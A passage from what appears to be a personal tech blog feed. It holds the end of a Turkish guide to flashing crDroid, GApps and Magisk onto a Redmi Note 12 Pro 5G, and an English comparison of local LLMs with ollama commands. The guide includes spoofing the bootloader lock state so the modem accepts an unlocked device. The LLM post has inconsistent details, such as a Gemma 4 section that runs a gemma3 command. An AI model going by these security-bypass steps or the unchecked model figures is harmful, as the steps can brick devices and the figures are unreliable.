i&ccedil;in hayati &ouml;nem ta&scedil;&inodot;r.</p> <ol> <li>A&ccedil;&inodot;lan kurtarma (recovery) ekran&inodot;nda ses tu&scedil;lar&inodot;n&inodot; kullanarak <strong>Factory reset</strong> se&ccedil;ene&gbreve;ine gel ve g&uuml;&ccedil; tu&scedil;uyla se&ccedil;.</li> <li>Ard&inodot;ndan <strong>Format data/factory reset</strong> se&ccedil;ene&gbreve;ine gir.</li> <li>Gelen onay ekran&inodot;nda <strong>Format data</strong> se&ccedil;ene&gbreve;ini se&ccedil;erek i&scedil;lemi ba&scedil;lat.</li> <li>Ekran&inodot;n alt&inodot;nda "Data wipe complete" yaz&inodot;s&inodot; belirdi&gbreve;inde geri tu&scedil;uyla ana men&uuml;ye d&ouml;n.</li> </ol> <h3 id="adm-5-rom-dosyasn-flaslamak-adb-sideload">Ad&inodot;m 5: ROM Dosyas&inodot;n&inodot; Fla&scedil;lamak (ADB Sideload)<a class="headerlink" href="#adm-5-rom-dosyasn-flaslamak-adb-sideload" title="Permanent link">#</a></h3> <p>Dinamik b&ouml;l&uuml;ml&uuml; yeni nesil cihazlarda, bilgisayardan dosya kopyalamakla u&gbreve;ra&scedil;mak yerine en kararl&inodot; y&ouml;ntem olan <strong>ADB Sideload</strong> k&ouml;pr&uuml;s&uuml;n&uuml; kullan&inodot;yoruz. Telefonun h&acirc;l&acirc; bilgisayara ba&gbreve;l&inodot; oldu&gbreve;undan emin ol:</p> <ol> <li>Telefon ekran&inodot;nda ana men&uuml;den <strong>Apply update</strong> se&ccedil;ene&gbreve;ine gir.</li> <li>Ard&inodot;ndan <strong>Apply from ADB</strong> se&ccedil;ene&gbreve;ini se&ccedil;. Telefon art&inodot;k bilgisayardan dosya transferi beklemeye ba&scedil;layacakt&inodot;r.</li> <li>Bilgisayar&inodot;nda,<code>platform-tools</code> klas&ouml;r&uuml;n&uuml;n i&ccedil;indeki terminalde &scedil;u komutu &ccedil;al&inodot;&scedil;t&inodot;r (ROM dosyas&inodot;n&inodot;n ad&inodot;n&inodot; yaz veya s&uuml;r&uuml;kle-b&inodot;rak):</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>sideload<span class="w"> </span>crDroidAndroid-16.0-20260606-rubyx-v12.10.zip </code></pre></div> <ol> <li>Fla&scedil;lama i&scedil;leminin bitmesini bekle. Terminalde<code>Total xfer: 1.00x</code> veya telefonda<code>%100</code> yazacakt&inodot;r.</li> <li>Fla&scedil;lama bitti&gbreve;inde telefon ekran&inodot;nda &scedil;u soru belirecektir: <em>"Install additional packages? You need to reboot recovery first. Do you want to reboot to recovery now?"</em> (Ek paket y&uuml;klemek istiyor musun? &Ouml;nce recovery'yi yeniden ba&scedil;latmal&inodot;s&inodot;n. &Scedil;imdi yeniden ba&scedil;lat&inodot;ls&inodot;n m&inodot;?)</li> <li>Burada kesinlikle <strong>YES</strong> se&ccedil;ene&gbreve;ini se&ccedil;. Telefon otomatik olarak yeni kurulan slot &uuml;zerinden recovery modunda yeniden ba&scedil;layacakt&inodot;r.</li> </ol> <h3 id="adm-6-google-servislerini-yuklemek-gapps-kritik-asama">Ad&inodot;m 6: Google Servislerini Y&uuml;klemek (GApps - Kritik A&scedil;ama)<a class="headerlink" href="#adm-6-google-servislerini-yuklemek-gapps-kritik-asama" title="Permanent link">#</a></h3> <div class="admonition warning"> <p class="admonition-title">Do&gbreve;rudan Fla&scedil;lamay&inodot;n!</p> <p>ROM sideload bittikten hemen sonra GApps paketini fla&scedil;lamaya &ccedil;al&inodot;&scedil;&inodot;rsan imza ve slot hatalar&inodot; al&inodot;rs&inodot;n. Bu y&uuml;zden yukar&inodot;daki ad&inodot;mda recovery'yi yeniden ba&scedil;latma sorusuna mutlaka <strong>YES</strong> demelisin.</p> </div> <ol> <li>Cihaz recovery modunda tekrar a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda s&inodot;ras&inodot;yla <strong>Apply update -&gt; Apply from ADB</strong> se&ccedil;eneklerine gir.</li> <li>Bilgisayardaki u&ccedil;birimden indirdi&gbreve;in GApps dosyas&inodot;n&inodot; (GApps i&ccedil;in <a href="https://nikgapps.com/crdroid-official" rel="noopener noreferrer" target="_blank">NikGApps crDroid Official</a> paketini kullanabilirsin) g&ouml;nder:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>sideload<span class="w"> </span>NikGapps-crdroid-official-arm64-16-signed.zip </code></pre></div> <h3 id="adm-7-istege-bagl-root-magisk-yuklemesi">Ad&inodot;m 7: &Idot;ste&gbreve;e Ba&gbreve;l&inodot; Root (Magisk) Y&uuml;klemesi<a class="headerlink" href="#adm-7-istege-bagl-root-magisk-yuklemesi" title="Permanent link">#</a></h3> <p>Telefonunu rootlamak istiyorsan, GApps kurulumundan sonra &scedil;u ad&inodot;mlar&inodot; takip et:</p> <ol> <li>Geri tu&scedil;uyla ana men&uuml;ye d&ouml;n.</li> <li><strong>Advanced -&gt; Reboot to recovery</strong> se&ccedil;ene&gbreve;iyle recovery'yi bir kez daha yeniden ba&scedil;lat.</li> <li>A&ccedil;&inodot;l&inodot;&scedil;ta tekrar <strong>Apply update -&gt; Apply from ADB</strong> yolunu izle.</li> <li>Bilgisayardan &scedil;u komutla Magisk zip dosyas&inodot;n&inodot; g&ouml;nder:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>sideload<span class="w"> </span>Magisk.zip </code></pre></div> <h3 id="adm-8-sebeke-ve-anabant-aktivasyonu-bootloader-spoofing-kritik-asama">Ad&inodot;m 8: &Scedil;ebeke ve Anabant Aktivasyonu (Bootloader Spoofing - Kritik A&scedil;ama)<a class="headerlink" href="#adm-8-sebeke-ve-anabant-aktivasyonu-bootloader-spoofing-kritik-asama" title="Permanent link">#</a></h3> <p>MediaTek tabanl&inodot; ruby platformunda custom ROM y&uuml;kledi&gbreve;inde, bootloader kilidi a&ccedil;&inodot;k oldu&gbreve;u i&ccedil;in modem g&uuml;venlik protokol&uuml;ne tak&inodot;l&inodot;r ve &scedil;ebeke vermez (anabant s&uuml;r&uuml;m&uuml; "Bilinmiyor" olarak g&ouml;r&uuml;n&uuml;r). Bu kilidi a&scedil;mak i&ccedil;in bootloader durumunu kilitli (spoof) olarak g&ouml;stermeliyiz:</p> <ol> <li>Cihaz&inodot;n a&ccedil;&inodot;k durumdaysa u&ccedil;birimden<code>$ adb reboot bootloader</code> komutuyla, kapal&inodot;ysa <strong>G&uuml;&ccedil; + Ses K&inodot;sma</strong> tu&scedil;lar&inodot;yla tekrar Fastboot moduna al ve bilgisayara ba&gbreve;la.</li> <li>Haz&inodot;rlad&inodot;&gbreve;&inodot;n<code>ruby-lk-kaeru.bin.signed.img</code> ve<code>preloader_raw.img</code> (veya<code>preloader_ruby.bin</code>) dosyalar&inodot;n&inodot;n bulundu&gbreve;u klas&ouml;rde terminal a&ccedil;arak &scedil;u komutlar&inodot; s&inodot;rayla &ccedil;al&inodot;&scedil;t&inodot;r:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>lk_a<span class="w"> </span>ruby-lk-kaeru.bin.signed.img $<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>lk_b<span class="w"> </span>ruby-lk-kaeru.bin.signed.img $<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>preloader_a<span class="w"> </span>preloader_raw.img $<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>preloader_b<span class="w"> </span>preloader_raw.img </code></pre></div> <ol> <li>Fla&scedil;lama bitti&gbreve;inde bootloader'&inodot; &scedil;u komutla yeniden ba&scedil;lat:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>reboot<span class="w"> </span>bootloader </code></pre></div> <ol> <li>Fastboot ekran&inodot; tekrar geldi&gbreve;inde &scedil;u komutla kilidi gizleme &ouml;zelli&gbreve;ini aktif et:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>oem<span class="w"> </span>bldr_spoof<span class="w"> </span>on </code></pre></div> <div class="highlight"><pre><span></span><code><span class="o">*</span><span class="p">(</span><span class="n">U&ccedil;birimde</span><span class="err">`</span><span class="p">(</span><span class="n">bootloader</span><span class="p">)</span><span class="w"> </span><span class="n">Bootloader</span><span class="w"> </span><span class="n">spoofing</span><span class="w"> </span><span class="n">enabled</span><span class="o">.</span><span class="err">`</span><span class="w"> </span><span class="n">onay&inodot;n&inodot;</span><span class="w"> </span><span class="n">g&ouml;rd&uuml;&gbreve;&uuml;nden</span><span class="w"> </span><span class="n">emin</span><span class="w"> </span><span class="n">ol</span><span class="p">)</span><span class="o">.*</span> </code></pre></div> <h3 id="adm-9-sistemi-yeniden-baslatmak">Ad&inodot;m 9: Sistemi Yeniden Ba&scedil;latmak<a class="headerlink" href="#adm-9-sistemi-yeniden-baslatmak" title="Permanent link">#</a></h3> <p>T&uuml;m i&scedil;lemler tamamland&inodot;&gbreve;&inodot;na g&ouml;re sistemi ba&scedil;latabiliriz:</p> <ol> <li>Terminalden cihaz&inodot; yeniden ba&scedil;latmak i&ccedil;in &scedil;u komutu gir:</li> </ol> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>reboot </code></pre></div> <p>&Idot;lk a&ccedil;&inodot;l&inodot;&scedil; crDroid animasyonu ile ger&ccedil;ekle&scedil;ecek ve normalden biraz uzun s&uuml;rebilir. Cihaz a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda kurulum ekran&inodot;n&inodot; tamamlay&inodot;p sim kart&inodot;n&inodot; takt&inodot;&gbreve;&inodot;nda &scedil;ebekenin ya&gbreve; gibi akt&inodot;&gbreve;&inodot;n&inodot; g&ouml;receksin.</p> <hr/> <h2 id="olas-hatalar-ve-cozumleri-edge-cases_1">🚫 Olas&inodot; Hatalar ve &Ccedil;&ouml;z&uuml;mleri (Edge Cases)<a class="headerlink" href="#olas-hatalar-ve-cozumleri-edge-cases" title="Permanent link">#</a></h2> <ul> <li><strong>Cihaz S&uuml;rekli Recovery'e Geri D&ouml;n&uuml;yor (Bootloop):</strong> Ad&inodot;m 4'te anlat&inodot;lan <strong>Format Data</strong> i&scedil;lemini yapmam&inodot;&scedil; veya<code>yes</code> yazarak onaylamam&inodot;&scedil; olabilirsin. Recovery'e girip Format Data i&scedil;lemini tekrarlarsan cihaz&inodot;n sorunsuz a&ccedil;&inodot;lacakt&inodot;r.</li> <li><strong>GApps Y&uuml;klenirken Hata Veriyor (Error 1):</strong> Ad&inodot;m 6'daki kural&inodot; atlay&inodot;p, ROM fla&scedil;land&inodot;ktan hemen sonra recovery'i yeniden ba&scedil;latmadan GApps fla&scedil;lamaya &ccedil;al&inodot;&scedil;m&inodot;&scedil;s&inodot;n demektir. Cihaz&inodot; recovery modunda yeniden ba&scedil;lat&inodot;p GApps zip dosyas&inodot;n&inodot; tekrar fla&scedil;lamay&inodot; dene.</li> <li><strong>Sideload S&inodot;ras&inodot;nda "/metadata/ota no such file or directory" Uyar&inodot;s&inodot;:</strong> Bu uyar&inodot; tamamen zarars&inodot;zd&inodot;r ve panik yapmaya gerek yoktur. Format Data i&scedil;leminden sonra metadata b&ouml;l&uuml;m&uuml;ndeki OTA klas&ouml;r&uuml; silindi&gbreve;i i&ccedil;in recovery bu uyar&inodot;y&inodot; g&ouml;sterir. Bilgisayar ekran&inodot;nda<code>serving: ...</code> y&uuml;zdesi ilerledi&gbreve;i s&uuml;rece y&uuml;kleme sorunsuz devam ediyor demektir, kabloyu kesinlikle s&ouml;kme.</li> <li><strong>Fastboot Modunda Cihaz&inodot;n G&ouml;r&uuml;nmemesi (Waiting for Device):</strong> <code>fastboot devices</code> komutu bo&scedil; d&ouml;n&uuml;yor veya<code>&lt; waiting for any device &gt;</code> hatas&inodot;nda kal&inodot;yorsa, bu durum Windows Fastboot s&uuml;r&uuml;c&uuml;lerinin eksikli&gbreve;inden veya USB 3.0/Ryzen uyumsuzlu&gbreve;undan kaynaklan&inodot;r. S&uuml;r&uuml;c&uuml;leri g&uuml;ncellemek i&ccedil;in Ayg&inodot;t Y&ouml;neticisi'ne girip sar&inodot; &uuml;nlemli cihaz&inodot;na sa&gbreve; t&inodot;klayarak <strong>S&uuml;r&uuml;c&uuml;y&uuml; G&uuml;ncelle&scedil;tir -&gt; S&uuml;r&uuml;c&uuml; yaz&inodot;l&inodot;m&inodot; i&ccedil;in bilgisayar&inodot;m&inodot; tara -&gt; Bilgisayar&inodot;mdaki kullan&inodot;labilir s&uuml;r&uuml;c&uuml;ler listesinden se&ccedil;meme izin ver</strong> ad&inodot;mlar&inodot;n&inodot; izle. Oradan <strong>Android Bootloader Interface</strong> s&uuml;r&uuml;c&uuml;s&uuml;n&uuml; el ile g&ouml;stererek y&uuml;kleyebilirsin. Ayr&inodot;ca mavi renkli USB 3.0 portlar&inodot; yerine varsa USB 2.0 portlar&inodot;n&inodot; oradaki pratik batch scriptini veya arada bir USB Hub kullanmay&inodot; dene.</li> <li><strong>SIM Kart Tak&inodot;l&inodot; Olmas&inodot;na Ra&gbreve;men "Mobil A&gbreve; Kullan&inodot;lam&inodot;yor" ve Anabant "Bilinmiyor" Hatas&inodot;:</strong> MediaTek i&scedil;lemcili bu cihazda bootloader kilidi a&ccedil;&inodot;k oldu&gbreve;unda modem g&uuml;venlik protokol&uuml; nedeniyle kendini devre d&inodot;&scedil;&inodot; b&inodot;rak&inodot;r. Ad&inodot;m 8'deki <strong>Bootloader Spoofing</strong> ad&inodot;mlar&inodot;n&inodot; uygulad&inodot;&gbreve;&inodot;ndan ve terminalde<code>Bootloader spoofing enabled.</code> &ccedil;&inodot;kt&inodot;s&inodot;n&inodot; ald&inodot;&gbreve;&inodot;ndan emin ol.</li> </ul> <p>G&ouml;z&uuml;n ayd&inodot;n dostum, art&inodot;k Redmi Note 12 Pro 5G cihaz&inodot;nda en g&uuml;ncel ve hafif crDroid aray&uuml;z&uuml;n&uuml; deneyimlemeye haz&inodot;rs&inodot;n. Kurulum s&inodot;ras&inodot;nda tak&inodot;ld&inodot;&gbreve;&inodot;n bir yer olursa sormaktan &ccedil;ekinme.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Ruby, Redmi Note 12 Pro 5G modelinin kod ad&inodot;d&inodot;r; rubyx ise custom ROM d&uuml;nyas&inodot;nda Note 12 Pro 5G, Pro+ 5G ve Discovery modellerini birle&scedil;tiren ortak a&gbreve;a&ccedil; ad&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>GApps (Google Apps), Google Play Store ve ili&scedil;kili servisleri bar&inodot;nd&inodot;ran paketlerdir.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>Magisk, sistem dosyalar&inodot;n&inodot; kal&inodot;c&inodot; olarak bozmadan cihaz&inodot; rootlamaya yarayan a&ccedil;&inodot;k kaynakl&inodot; bir ara&ccedil;t&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> <li id="fn:4"> <p>Y&uuml;cel Toluyag'&inodot;n daha &ouml;nce kaleme ald&inodot;&gbreve;&inodot; <a href="/redmi-note-8-pro-custom-rom-kurulumu/">Redmi Note 8 Pro Custom ROM Kurulumu</a> rehberi.&nbsp;<a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text">&larrhk;</a></p> </li> <li id="fn:5"> <p>Bootloader durumunu kilitli g&ouml;stererek modem/baseband kilidini a&scedil;may&inodot; sa&gbreve;layan Roger Ortiz imzal&inodot; &ouml;zel yama dosyalar&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:5" title="Jump back to footnote 5 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T23:00:00+03:002026-06-04T23:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/en/en-iyi-yerel-llm-modelleri-2026/

<p>In 2026, we examine the models dominating the local AI world (DeepSeek R1, Llama 4, Qwen 3, Gemma 4) based on different use cases and hardware requirements.</p>

<p>The other morning, while sipping my coffee at my desk, I decided to clean up the local models on my disk. 💻 When I went into the Ollama folder, I couldn't believe my eyes: dozens of different Llama, Qwen, and Gemma versions were taking up gigabytes of space, filling up my drive. I asked myself, "Y&uuml;cel, why are you keeping all of these, which one actually works?" Then I thought; many developers like me are also experiencing confusion about which model to choose in the local AI world.</p> <p>If you also want to switch to local AI but don't know which model to pick, or if you are looking for the model that will get the maximum efficiency out of your graphics card's memory (VRAM), you are in the right place, my friend. 🚀 Let's examine the best of local AI together.</p> <hr/> <h2 id="the-big-picture-what-has-changed-since-2025">The Big Picture: What Has Changed Since 2025?<a class="headerlink" href="#the-big-picture-what-has-changed-since-2025" title="Permanent link">#</a></h2> <p>In most practical tasks, the gap between cloud services and local models has almost closed. A well-tuned local 32B (billion parameter) model has become competitive with GPT-4o in daily tasks. So, what's new in this process?</p> <ul> <li><strong>DeepSeek R1</strong> proved that open-source reasoning models can compete with the top tier (with high scores like 97.3% success in the MATH-500 test).</li> <li><strong>Llama 4</strong> standardized built-in multimodal (image/text) support and a massive 10-million-token memory limit in the local space.</li> <li><strong>Qwen 3</strong> solidified its throne with Turkish support, coding skills, and a new step-by-step thinking mode.</li> <li><strong>Gemma 4</strong> stood out as Google's lightweight yet highly capable model offering high speed on consumer-grade hardware.</li> <li><strong>MoE (Mixture of Experts) Architecture</strong> is now standard. Thus, we can reach the quality of 70-billion-parameter models with only 17 billion active parameters.</li> </ul> <hr/> <h2 id="comparison-of-the-best-models">Comparison of the Best Models 📊<a class="headerlink" href="#comparison-of-the-best-models" title="Permanent link">#</a></h2> <h3 id="deepseek-r1-the-pinnacle-of-reasoning">DeepSeek R1 &mdash; The Pinnacle of Reasoning<a class="headerlink" href="#deepseek-r1-the-pinnacle-of-reasoning" title="Permanent link">#</a></h3> <p>DeepSeek R1 caused an earthquake in the AI world in early 2025. It offered GPT-o1 level reasoning skills at a much lower training cost. Its biggest plus: when you ask the model a question, you can see how it thinks behind the scenes (chain-of-thought) step-by-step. To learn how to run this model on your local system in the most efficient way, you can follow my <a href="/en/yerel-llm-kurulum-rehberi-2026/">Self-Hosted AI (2026)</a> setup guide.</p> <p>Thanks to distilled versions, we can also run this power on our home computers:</p> <table> <thead> <tr> <th style="text-align: left;">Model Size</th> <th style="text-align: left;">Required VRAM</th> <th style="text-align: left;">Ideal Use Case</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">6 GB</td> <td style="text-align: left;">Fast reasoning on laptops</td> </tr> <tr> <td style="text-align: left;"><strong>14B</strong></td> <td style="text-align: left;">9 GB</td> <td style="text-align: left;">Price/performance pinnacle for mid-range systems<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>32B</strong></td> <td style="text-align: left;">20 GB</td> <td style="text-align: left;">Complex mathematics and logic problems</td> </tr> </tbody> </table> <p>Visualized thinking phases are incredibly useful, especially when debugging or building mathematical logic. Also, being distributed under the MIT license means we can use it completely freely in commercial projects.</p> <p><strong>Ollama Command:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>deepseek-r1:14b </code></pre></div> <h3 id="llama-4-multimodal-and-massive-context">Llama 4 &mdash; Multimodal and Massive Context<a class="headerlink" href="#llama-4-multimodal-and-massive-context" title="Permanent link">#</a></h3> <p>Meta's Llama 4 series comes with two main options for local use:</p> <ul> <li><strong>Llama 4 Scout:</strong> 109B total, 17B active parameters. It has a 10-million-token memory limit and can run with 24GB of VRAM.</li> <li><strong>Llama 4 Maverick:</strong> 400B total, 17B active parameters. It offers the highest quality but requires dual GPUs.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></li> </ul> <p>Llama 4 is the most successful model locally that can both read images/graphics and keep books full of documents in its memory.</p> <p>The only issue is the hardware requirement. While the Scout version can run on a single RTX 4090, Maverick requires dual graphics cards or a powerful Mac Studio Ultra.</p> <p><strong>Ollama Command:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama4:scout </code></pre></div> <h3 id="qwen-3-general-use-and-coding-king">Qwen 3 &mdash; General Use and Coding King<a class="headerlink" href="#qwen-3-general-use-and-coding-king" title="Permanent link">#</a></h3> <p>Alibaba's Qwen series is the industry leader in quality-per-VRAM. Qwen 3 also brings a built-in thinking mode with the <code>/think</code> option.</p> <table> <thead> <tr> <th style="text-align: left;">Model Size</th> <th style="text-align: left;">Required VRAM</th> <th style="text-align: left;">Ideal Use Case</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">5 GB</td> <td style="text-align: left;">Budget coding tasks</td> </tr> <tr> <td style="text-align: left;"><strong>14B</strong></td> <td style="text-align: left;">9 GB</td> <td style="text-align: left;">Daily general use</td> </tr> <tr> <td style="text-align: left;"><strong>32B</strong></td> <td style="text-align: left;">20 GB</td> <td style="text-align: left;">Professional coding assistant<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>72B</strong></td> <td style="text-align: left;">44 GB</td> <td style="text-align: left;">Server and enterprise solutions</td> </tr> </tbody> </table> <p>Its coding skills are truly fantastic. The Qwen 2.5 Coder 32B version produces cleaner and more functional code than models three times its size. Additionally, its Turkish language proficiency is quite high.</p> <p><strong>Ollama Command:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>qwen3:32b </code></pre></div> <h3 id="gemma-4-speed-and-efficiency-champion">Gemma 4 &mdash; Speed and Efficiency Champion<a class="headerlink" href="#gemma-4-speed-and-efficiency-champion" title="Permanent link">#</a></h3> <p>Google's Gemma 4 model is a total speed demon. The 27B parameter MoE model can generate 85 words (tokens) per second on consumer-grade graphics cards.<sup id="fnref:4"><a class="footnote-ref" href="#fn:4">4</a></sup> There is no other alternative that offers this quality at this speed.</p> <table> <thead> <tr> <th style="text-align: left;">Model Size</th> <th style="text-align: left;">Required VRAM</th> <th style="text-align: left;">Ideal Use Case</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>1B</strong></td> <td style="text-align: left;">2 GB</td> <td style="text-align: left;">Small smart devices</td> </tr> <tr> <td style="text-align: left;"><strong>4B</strong></td> <td style="text-align: left;">4 GB</td> <td style="text-align: left;">Ultra-fast responses</td> </tr> <tr> <td style="text-align: left;"><strong>27B</strong></td> <td style="text-align: left;">14 GB</td> <td style="text-align: left;">Where speed meets quality</td> </tr> </tbody> </table> <p>If having the AI respond to you instantly is your highest priority, Gemma 4 will be the most logical choice for you.</p> <p><strong>Ollama Command:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>gemma3:27b </code></pre></div> <hr/> <h2 id="decision-matrix_1">Decision Matrix ⚙️<a class="headerlink" href="#decision-matrix" title="Permanent link">#</a></h2> <p>Trying to use a single model for different tasks is like trying to assemble all the furniture in your house with just a single Swiss Army knife. Here is the decision matrix showing which model to turn to for which task:</p> <table> <thead> <tr> <th style="text-align: left;">Your Need</th> <th style="text-align: left;">Best Model</th> <th style="text-align: left;">Highlighted Reason</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Coding</strong></td> <td style="text-align: left;">Qwen 2.5 Coder 32B</td> <td style="text-align: left;">92.7% HumanEval success, clean code generation</td> </tr> <tr> <td style="text-align: left;"><strong>Math &amp; Reasoning</strong></td> <td style="text-align: left;">DeepSeek R1</td> <td style="text-align: left;">Ability to show step-by-step thinking phases</td> </tr> <tr> <td style="text-align: left;"><strong>Image &amp; Chart Reading</strong></td> <td style="text-align: left;">Llama 4 Maverick</td> <td style="text-align: left;">Built-in multimodal support</td> </tr> <tr> <td style="text-align: left;"><strong>Long Document Analysis</strong></td> <td style="text-align: left;">Llama 4 Scout</td> <td style="text-align: left;">Massive 10-million-token memory</td> </tr> <tr> <td style="text-align: left;"><strong>High Speed</strong></td> <td style="text-align: left;">Gemma 4 27B</td> <td style="text-align: left;">85 tokens per second generation capacity</td> </tr> <tr> <td style="text-align: left;"><strong>General Chat</strong></td> <td style="text-align: left;">Qwen 3 32B</td> <td style="text-align: left;">Stability in VRAM/Intelligence ratio</td> </tr> <tr> <td style="text-align: left;"><strong>Low Hardware (8GB VRAM)</strong></td> <td style="text-align: left;">Llama 3.1 8B</td> <td style="text-align: left;">High efficiency with 5 GB VRAM</td> </tr> <tr> <td style="text-align: left;"><strong>Enterprise Use</strong></td> <td style="text-align: left;">Qwen 3 72B</td> <td style="text-align: left;">Strong infrastructure and open license</td> </tr> </tbody> </table> <hr/> <h2 id="gpu-and-hardware-matching">GPU and Hardware Matching 🛠️<a class="headerlink" href="#gpu-and-hardware-matching" title="Permanent link">#</a></h2> <p>For memory bandwidth of graphics cards and pricing details, you can check out my article on <a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/">Best GPUs for Local LLMs (2026)</a>. Here are the models you can choose based on the card you have:</p> <table> <thead> <tr> <th style="text-align: left;">Your Graphics Card</th> <th style="text-align: left;">Most Logical Models You Can Run</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>4 - 6 GB</strong> (GTX 1650 / 1060)</td> <td style="text-align: left;">Gemma 3 1B, Llama 3.2 3B</td> </tr> <tr> <td style="text-align: left;"><strong>8 GB</strong> (RTX 3060 / 4060)</td> <td style="text-align: left;">Llama 3.1 8B, Qwen 2.5 7B, DeepSeek R1 7B</td> </tr> <tr> <td style="text-align: left;"><strong>12 GB</strong> (RTX 4070)</td> <td style="text-align: left;">Qwen 3 14B, DeepSeek R1 14B</td> </tr> <tr> <td style="text-align: left;"><strong>16 GB</strong> (RTX 4080)</td> <td style="text-align: left;">Qwen 2.5 14B, DeepSeek R1 14B, Gemma 3 27B</td> </tr> <tr> <td style="text-align: left;"><strong>24 GB</strong> (RTX 4090)</td> <td style="text-align: left;">Qwen 3 32B, DeepSeek R1 32B, Llama 4 Scout</td> </tr> <tr> <td style="text-align: left;"><strong>48 GB+</strong> (RTX 6000 / Dual GPU)</td> <td style="text-align: left;">Qwen 3 72B, Llama 4 Maverick, DeepSeek R1 70B</td> </tr> </tbody> </table> <hr/> <h2 id="my-daily-setup">My Daily Setup 💡<a class="headerlink" href="#my-daily-setup" title="Permanent link">#</a></h2> <p>For those who are curious, let me also share where I use which models in my own workflow. If you want to connect your local models to editors like VS Code and automate your daily coding process, you can benefit from my <a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Local AI Setup Guide (LM Studio &amp; VS Code)</a>.</p> <ul> <li><strong>Morning Code Review:</strong> Qwen 3 32B. Quite successful when analyzing the codebase.</li> <li><strong>Article and Document Review:</strong> Llama 4 Scout. It can load long PDF files into its memory in one go.</li> <li><strong>Complex Algorithm Solutions:</strong> DeepSeek R1 14B. Watching the thinking steps allows me to spot logic errors.</li> <li><strong>Quick Daily Questions:</strong> Gemma 3 12B. The word speed it delivers per second is massive.</li> <li><strong>Agent Automations:</strong> Qwen 3 with <code>/think</code> mode enabled.</li> </ul> <hr/> <h2 id="test-your-own-model-performance-benchmarks">Test Your Own Model (Performance Benchmarks) ⚙️<a class="headerlink" href="#test-your-own-model-performance-benchmarks" title="Permanent link">#</a></h2> <p>You don't have to trust the official published numbers. You can run your own benchmarks on your hardware.</p> <h3 id="quick-inference-speed-test">Quick Inference Speed Test<a class="headerlink" href="#quick-inference-speed-test" title="Permanent link">#</a></h3> <p>Perform a simple time measurement with the Ollama CLI:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">time</span><span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>qwen2.5-coder:32b<span class="w"> </span><span class="s2">"Can you write Python code that reverses a linked list?"</span> </code></pre></div> <h3 id="benchmarking-with-the-lm-studio-interface">Benchmarking with the LM Studio Interface<a class="headerlink" href="#benchmarking-with-the-lm-studio-interface" title="Permanent link">#</a></h3> <p>LM Studio includes a built-in testing interface. 1. Go to the <strong>Benchmarks</strong> tab. 2. Click on the <strong>Add Benchmark</strong> option. 3. Select one of the <code>HumanEval</code>, <code>MMLU</code>, or <code>LiveCodeBench</code> tests. 4. Select your model and start the test.</p> <h3 id="detailed-performance-test-from-the-command-line-lm-evaluation-harness">Detailed Performance Test from the Command Line (lm-evaluation-harness)<a class="headerlink" href="#detailed-performance-test-from-the-command-line-lm-evaluation-harness" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="c1"># Download and install the test tool</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/EleutherAI/lm-evaluation-harness $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>lm-evaluation-harness $<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>-e<span class="w"> </span>. <span class="c1"># Run the coding benchmark via the local API</span> $<span class="w"> </span>lm_eval<span class="w"> </span>--model<span class="w"> </span>localchat<span class="w"> </span>--model_args<span class="w"> </span><span class="s2">"temperature=0"</span><span class="w"> </span>--tasks<span class="w"> </span>humaneval<span class="w"> </span>--batch_size<span class="w"> </span><span class="m">1</span> </code></pre></div> <ul> <li><strong>humaneval:</strong> Measures Python code generation capability (164 different algorithmic problems).</li> 